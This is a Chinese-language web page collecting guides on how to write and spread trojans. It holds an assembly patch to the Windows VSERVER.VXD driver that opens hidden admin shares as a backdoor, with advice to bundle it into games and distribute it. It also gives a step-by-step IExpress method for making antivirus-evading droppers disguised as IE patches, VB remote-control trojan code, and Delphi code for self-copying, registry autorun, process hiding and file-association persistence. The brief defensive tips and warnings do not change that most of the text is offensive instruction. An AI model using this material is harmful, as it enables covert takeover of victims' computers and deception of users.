怎么编写木马程序_怎样制作木马程序

hacker|
161

怎么做木马

网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。

下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230

就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230

NEW_LOC_0418 POP eax

jmp 03469

刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。

下面是LOC_0415的改法:

LOC_0415:

03415 XOR EAX,EAX ;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。

03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0;

03418 XOR ECX,ECX ;2 字节 ECX=0;

0341A DEC ECX ;1 字节 得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少

0341B mov edi,ebx ;2 bytes

0341D repne scasb ;2 bytes

0341F SUB EDI,EBX ;2 bytes get the share name long

03421 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。

03424 ja short loc_0419 ; 2 byte

03426 POP EAX ;1 byte 堆栈平衡

03427 PUSH EDI ;1 byte

03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用

刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。

中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

; SUBROUTINE

;

; Called from: 031FD, 32CC

;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

033F4 sub_0026 proc near

033F4 56 push esi

033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch

033FA 74 07 je short loc_0412 ; Jump if equal

033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh

03401 75 12 jne short loc_0415 ; Jump if not equal

03403 loc_0412: ; xref 033FA

03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr

03406 loc_0413: ; xref 0340F

03406 E8 00006961 call sub_0207 ; (09D6C)

0340B 74 05 jz short loc_0414 ; Jump if zero

0340D 3C 5C cmp al,5Ch ; '\'

0340F 75 F5 jne loc_0413 ; Jump if not equal

03411 46 inc esi

03412 loc_0414: ; xref 0340B

03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr

03415 loc_0415: ; xref 03401

03415 2A C0 sub al,al

03417 B9 0000FFFF mov ecx,0FFFFh

0341C 8B FB mov edi,ebx

0341E F2/ AE repne scasb ; Rep zf=0+cx 0 Scan es:[di] for al

03420 8B C7 mov eax,edi

03422 2B C3 sub eax,ebx

03424 83 F8 0D cmp eax,0Dh

03427 77 26 ja short loc_0419 ; Jump if above

03429 55 push ebp

0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0)

03430 loc_0416: ; xref 0344C

03430 ?1 FD 00011CA4 cmp ebp,11CA4h

03436 74 16 je short loc_0418 ; Jump if equal

03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],2

0343C 75 0B jne short loc_0417 ; Jump if not equal

0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr

03441 8B FB mov edi,ebx

03443 8B C8 mov ecx,eax

03445 F3/ A6 repe cmpsb ; Rep zf=1+cx 0 Cmp [si] to es:[di]

03447 74 3A jz short loc_0424 ; Jump if zero

03449 loc_0417: ; xref 0343C

03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI]

0344C EB E2 jmp short loc_0416 ; (03430)

0344E loc_0418: ; xref 03436

0344E 5D pop ebp

0344F loc_0419: ; xref 03427

0344F B8 00060002 mov eax,60002h

03454 5E pop esi

03455 F9 stc ; Set carry flag

03456 C3 retn

03457 loc_0420: ; xref 0349F

03457 8B 43 34 mov eax,dword ptr [ebx+34h]

0345A 8B 1B mov ebx,[ebx]

0345C 81 FB 00011CA4 cmp ebx,11CA4h

03462 74 0A je short loc_0421 ; Jump if equal

03464 3B 43 34 cmp eax,dword ptr [ebx+34h]

03467 74 2F je short loc_0425 ; Jump if equal

03469 B8 00020002 mov eax,20002h

0346E loc_0421: ; xref 03462, 3481, 354D, 35E8

0346E ?E pop esi

0346F F9 stc ; Set carry flag

03470 C3 retn

03471 33 DB db 33h,0DBh

03473 loc_0422: ; xref 0349D

03473 5E pop esi

03474 C3 retn

03475 loc_0423: ; xref 034C1

03475 8B D3 mov edx,ebx

03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)

0347C B8 00590002 mov eax,590002h

03481 EB EB jmp short loc_0421 ; (0346E)

03483 loc_0424: ; xref 03447

03483 8B DD mov ebx,ebp

03485 59 pop ecx ;ebp ,the password long

03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)

0348D 75 12 jnz short loc_0426 ; Jump if not zero

0348F 8B 34 24 mov esi,[esp]

03492 F6 46 1F 01 test byte ptr [esi+1Fh],1

03496 75 09 jnz short loc_0426 ; Jump if not zero

03498 loc_0425: ; xref 03467

03498 E8 00000182 call sub_0027 ; (0361F) check the password

0349D 72 D4 jc loc_0422 ; Jump if carry Set

0349F 75 B6 jnz loc_0420 ; Jump if not zero

034A1 loc_0426: ; xref 0348D, 3496

034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; '@'

034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero

034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h)

034B0 80 38 01 cmp byte ptr [eax],1

034B3 0F 83 00000134 jae loc_0439 ; Jump if above or =

034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6

; 3611

034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh]

034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx

034C1 76 B2 jbe loc_0423 ; Jump if below or =

034C3 loc_0428: ; xref 03528

034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0)

034C9 85 C9 test ecx,ecx

034CB 74 56 jz short loc_0431 ; Jump if zero

034CD 8B 01 mov eax,[ecx]

034CF A3 00011B34 mov data_0170,eax ; (11B34=0)

034D4 66| FF 43 0E inc word ptr [ebx+0Eh]

034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx

034DB C6 41 14 03 mov byte ptr [ecx+14h],3

034DF 8A 41 17 mov al,byte ptr [ecx+17h]

034E2 04 08 add al,8

034E4 0C C0 or al,0C0h

034E6 88 41 17 mov byte ptr [ecx+17h],al

034E9 C6 41 15 00 mov byte ptr [ecx+15h],0

034ED 8B 34 24 mov esi,[esp]

034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8

034F4 75 08 jnz short loc_0429 ; Jump if not zero

034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h)

034FB FF 40 10 inc dword ptr [eax+10h]

034FE loc_0429: ; xref 034F4

034FE 5E pop esi

034FF 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ?

03506 75 0E jne short loc_0430 ; Jump if not equal

03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh

0350E 75 06 jne short loc_0430 ; Jump if not equal

03510 80 7B 17 00 cmp byte ptr [ebx+17h],0

03514 74 61 je short loc_0435 ; Jump if equal

03516 loc_0430: ; xref 03506, 350E, 3584

03516 B8 00011CD4 mov eax,11CD4h

0351B E8 000056BC call sub_0130 ; (08BDC)

03520 85 DB test ebx,ebx

03522 C3 retn

03523 loc_0431: ; xref 034CB

03523 E8 00000190 call sub_0028 ; (036B8)

03528 73 99 jnc loc_0428 ; Jump if carry=0

0352A EB 00 jmp short loc_0432 ; (0352C)

0352C loc_0432: ; xref 0352A

0352C 5F pop edi

0352D B8 00590002 mov eax,590002h

03532 F9 stc ; Set carry flag

03533 C3 retn

03534 loc_0433: ; xref 034A5

03534 8B 34 24 mov esi,[esp]

03537 F6 46 1F 01 test byte ptr [esi+1Fh],1

0353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero

03541 loc_0434: ; xref 03575, 358F

03541 ?B D3 mov edx,ebx

03543 BB 0000000B mov ebx,0Bh

03548 B8 00050001 mov eax,50001h

0354D E9 FFFFFF1C jmp loc_0421 ; (0346E)

;* No entry point to code

03552 8B 3C 24 mov edi,[esp]

03555 53 push ebx

03556 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)

0355C E8 FFFFE407 call sub_0009 ; (01968)

03561 5B pop ebx

03562 0B ED or ebp,ebp ; Zero ?

03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero

0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],0

0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal

03575 EB CA jmp short loc_0434 ; (03541)

03577 loc_0435: ; xref 03514

03577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)

0357E 74 11 jz short loc_0436 ; Jump if zero

03580 F6 46 1F 01 test byte ptr [esi+1Fh],1

03584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero

03586 66| FF 4B 0E dec word ptr [ebx+0Eh]

0358A C6 41 14 00 mov byte ptr [ecx+14h],0

0358E 56 push esi

0358F EB B0 jmp short loc_0434 ; (03541)

03591 loc_0436: ; xref 0357E

03591 80 4E 1F 01 or byte ptr [esi+1Fh],1

03595 C6 41 15 01 mov byte ptr [ecx+15h],1

03599 8B FE mov edi,esi

0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)

035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0)

035A8 75 14 jne short loc_0437 ; Jump if not equal

035AA 52 push edx

035AB 51 push ecx

035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD

035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password

035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24)

035B5 59 pop ecx

035B6 59 pop ecx

035B7 5A pop edx

035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)

035BE loc_0437: ; xref 035A8

035BE 53 push ebx

035BF E8 FFFFE3A4 call sub_0009 ; (01968)

035C4 72 13 jc short loc_0438 ; Jump if carry Set

035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h)

035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ; (000E2=358B0000h)

035D2 89 7B 04 mov dword ptr [ebx+4],edi

035D5 5B pop ebx

035D6 85 DB test ebx,ebx

035D8 C3 retn

035D9 loc_0438: ; xref 035C4

035D9 5A pop edx

035DA C6 41 14 00 mov byte ptr [ecx+14h],0

035DE BB 0000000C mov ebx,0Ch

035E3 B8 00010002 mov eax,10002h

035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E)

035ED loc_0439: ; xref 034B3

035ED 75 28 jnz short loc_0440 ; Jump if not zero

035EF 8B 34 24 mov esi,[esp]

035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1

035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero

035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h

03603 75 12 jne short loc_0440 ; Jump if not equal

03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh

0360B 75 0A jne short loc_0440 ; Jump if not equal

0360D 80 7B 17 00 cmp byte ptr [ebx+17h],0

03611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal

03617 loc_0440: ; xref 035ED, 3603, 360B

03617 B8 00510002 mov eax,510002h

0361C 5F pop edi

0361D F9 stc ; Set carry flag

0361E C3 retn

sub_0026 endp

windows怎样为电脑打造“免检”木马

IExpress是一款用于修改msi安装包内的cab文件兼容性最好,用其它的cab工具打包文件成cab,然后替换到msi里面的cab文件,经常性出错,这个就没这方面问题。

推荐下载 :软件名称:IExpress(微软自解压包创建工具) 2.0 汉化绿色版软件大小:485KB更新时间:2016-09-21

出身: Microsoft

功能: 专用于制作各种 CAB 压缩与自解压缩包的工具。

由于是Windows自带的程序,所以制作出来的安装包具有很好的兼容性。它可以帮助木马传播者制造不被杀毒软件查杀的自解压包,而且一般情况下还可伪装成某个系统软件的补丁(如IE的hotfix)来迷惑人。

到哪里寻找永远都不会被查杀的捆绑方法或工具?远在天边,近在眼前。可千万别忘了与你朝夕相处的Windows。此次所要介绍的捆绑工具就是Windows自带的`一个小巧的软件IExpress(适用于2000和XP系统)。

原理

IExpress使用了多种不同的自解压缩文件技术对软件更新文件进行打包,这些自解压包能够自动运行程序包中包含的EXE程序。IExpress技术是Microsoft使用的一项技术,用于为某些Microsoft Internet Explorer版本、某些Windows版本以及其他多种产品创建软件更新程序包。

如何确定某个软件更新程序包是否使用了IExpress呢?方法如下 :

1.右键单击该程序包,然后单击“属性”。

2.在“常规”选项卡中,查看“描述”。使用了IExpress技术的软件更新程序包中会包含“Win32 Cabinet Self-Extractor”字样。

实际操作

在这一部分,笔者将以实例的形式为大家详细讲解捆绑木马的整个过程。

第一步

在“运行”对话框中输入IExpress就可启动程序(图1)。

在开始的时候会有两个选项供你选择,一个是创建新的自解压文件(Create new Self Extraction Directive file),另一个是打开已经保存的自解压模板“.sed”文件(Open existing Self Extraction Directive file)。我们应该选择第一项,然后点击“下一步”按钮。

第二步

接下来选择制作木马自解压包的三种打包方式(图2),它们分别是建立自解压并自动安装压缩包(Extract files and run an installation command)、建立自解压压缩包(Extract files only)和建立CAB压缩包(Create compressed files only)。

因为我们要制作的是木马解压包,所以应该选择第一项。在输入压缩包标题后点击“下一步”按钮。

第三步

在“确认提示”(Confirmation prompt)这一环节,软件会询问在木马程序解包前是否提示用户进行确认,由于我们是在制作木马程序的解压包,当然越隐蔽越好,选择第一项“不提示”(No prompt),这么做的目的是让中招人毫无防备。点击“下一步”按钮,在接下来的添加“用户允许协议”(License agreement)中添加一个伪装的用户协议迷惑中招者,选择“显示用户允许协议”(Display a license),点击“Browse”选择一份编辑好的TXT文档,此文档可以用微软公司的名义来编辑,设置完毕后点击“下一步”。这一步的目的是迷惑对手并隐藏木马安装的过程。

第四步

现在,我们就进入了文件列表窗口(Packaged files)。点击该窗口中的“Add”按钮添加木马和将要与木马程序捆绑在一起的合法程序。根据刚才编辑的协议文件的内容添加合法程序。例如,你制作的协议和IE补丁包相关,那么你就可将木马和一个正常的IE补丁包添加进来。

随后进入安装程序选择窗口,指定解压缩包开始运行的文件(Install Program)和安装结束后运行的程序(post install command)。例如,在Install Program内设置正常的IE补丁包先运行,此时木马并未运行,在中招者看来的确是一个IE补丁包。在post install command内设置木马程序,这样在IE补丁包安装完毕时,木马程序将会在后台执行,我们的目的也就达到了。

第五步

接下来选择软件在安装过程中的显示模式(Show window)。由于我们的木马是和合法程序捆绑在一起的,所以选择“默认”(Default)即可。接下来进行提示语句(Finished message)的显示设置,由于我们做的是木马捆绑安装程序,当然应该选择“No message”。

第六步

上述设置完成后,接着设置自解压程序的保存位置和名称。在这里要选择“Hide File Extracting Progress Animation from User”,以便隐藏解压缩过程,有助于隐藏某些木马程序启动时弹出的命令提示框。最后,设置在软件安装完成后是否重新启动(Configure reboot),可以根据实际需要来选择。如果你所用的木马是“即插即用”的,那么就选择“No reboot”;如果所采用的木马用于开启终端服务,那么可选择“Always reboot”,同时选择“重新启动前不提示用户”(Do not prompt user before reboot)。

在保存刚才所做的设置后点击“下一步”按钮,即可开始制作木马自解压程序。

整个制作过程是在DOS下进行的,在完成度达到100%后会弹出提示窗口,点击“完成”,木马程序与合法程序的捆绑工作就完成了(格式为EXE),直接双击即可运行。你再用杀毒软件查一查。怎么样?已经完全不会被查出来了吧。

现在还等什么?赶快利用“木马屠城”介绍过的网页木马传播技术或木马电子书技术发布你的木马去吧。当然,你也可以把它作为IE的重要补丁发送给别人。

不用第三方工具,无需过多的加壳伪装,让“Windows”来为我们服务,为我们捆绑木马,岂不快哉。

防范措施

可以先检查可疑的程序包是否采用了IExpress技术(“原理”部分已介绍)。如果采用了IExpress技术,那么你就得留心了,此时可以进入命令提示符下使用“IExpress /c”命令来解压缩文件(不进行安装)以检查程序包中是否有木马,同时还可加上参数“/t:path”指定解压路径。

编后:

普通用户应该提高警惕了,很多木马制作者了解到用户对漏洞的恐惧,利用用户急着打最新补丁的心理借机入侵。在看似合法的补丁程序中,极有可能隐藏着木马程序。所以,在此提醒大家,千万不要在操作系统和软件的非官方站点下载补丁程序包,因为这些程序包很有可能是被捆绑了恶意程序的虚假程序包。

怎样编写木马程序?我不用,只想知道

看看这个,是用VB编的木马程序

1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

Else

If Len(Text1.Text) 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub

连接建立之后就可以使用DataArrival事件处理所收到的数据了。

连接建立之后就可以使用DataArrival事件处理所收到的数据了。

在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State sckClosed Then

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

End If ’如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub

这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim i As Long

Dim mKey As String

tcpServer.GetData strData

‘接收数据并存入strData

For i = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, i, 1) = "@" Then

mKey = Left(strData, i - 1)

‘把命令ID号存入mKey

‘把命令参数存入strData

strData = Right(strData, Len(strData) - i)

Exit For

End If

Next i

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

详细程序略。

客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。

怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!

其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了

怎么用照片制作木马程序,请详细说明

一是必须有木马(服务端)然后是一张照片,第二步是用捆绑工具将照片与木马进行捆绑就可以!

0条大神的评论

发表评论